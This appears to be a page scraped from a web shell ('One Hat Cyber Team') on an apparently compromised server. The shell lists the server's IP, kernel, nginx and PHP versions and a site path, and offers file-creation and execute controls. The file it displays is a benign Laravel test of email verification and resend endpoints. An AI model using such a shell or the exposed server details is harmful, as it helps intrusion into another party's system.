⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
qda-digital.online
/
tests
/
Feature
/
View File Name :
VerificationTest.php
<?php namespace Tests\Feature; use App\Models\User; use App\Notifications\VerifyEmail; use Illuminate\Auth\Events\Verified; use Illuminate\Support\Facades\Event; use Illuminate\Support\Facades\Notification; use Illuminate\Support\Facades\URL; use Tests\TestCase; class VerificationTest extends TestCase { /** @test */ public function can_verify_email() { $user = User::factory()->create(['email_verified_at' => null]); $url = URL::temporarySignedRoute('verification.verify', now()->addMinutes(60), ['user' => $user->id]); Event::fake(); $this->postJson($url) ->assertSuccessful() ->assertJsonFragment(['status' => 'Your email has been verified!']); Event::assertDispatched(Verified::class, function (Verified $e) use ($user) { return $e->user->is($user); }); } /** @test */ public function can_not_verify_if_already_verified() { $user = User::factory()->create(); $url = URL::temporarySignedRoute('verification.verify', now()->addMinutes(60), ['user' => $user->id]); $this->postJson($url) ->assertStatus(400) ->assertJsonFragment(['status' => 'The email is already verified.']); } /** @test */ public function can_not_verify_if_url_has_invalid_signature() { $user = User::factory()->create(['email_verified_at' => null]); $this->postJson("/api/email/verify/{$user->id}") ->assertStatus(400) ->assertJsonFragment(['status' => 'The verification link is invalid.']); } /** @test */ public function resend_verification_notification() { $user = User::factory()->create(['email_verified_at' => null]); Notification::fake(); $this->postJson('/api/email/resend', ['email' => $user->email]) ->assertSuccessful(); Notification::assertSentTo($user, VerifyEmail::class); } /** @test */ public function can_not_resend_verification_notification_if_email_does_not_exist() { $this->postJson('/api/email/resend', ['email' => 'foo@bar.com']) ->assertStatus(422) ->assertJsonFragment(['errors' => ['email' => ['We can\'t find a user with that e-mail address.']]]); } /** @test */ public function can_not_resend_verification_notification_if_email_already_verified() { $user = User::factory()->create(); Notification::fake(); $this->postJson('/api/email/resend', ['email' => $user->email]) ->assertStatus(422) ->assertJsonFragment(['errors' => ['email' => ['The email is already verified.']]]); Notification::assertNotSentTo($user, VerifyEmail::class); } }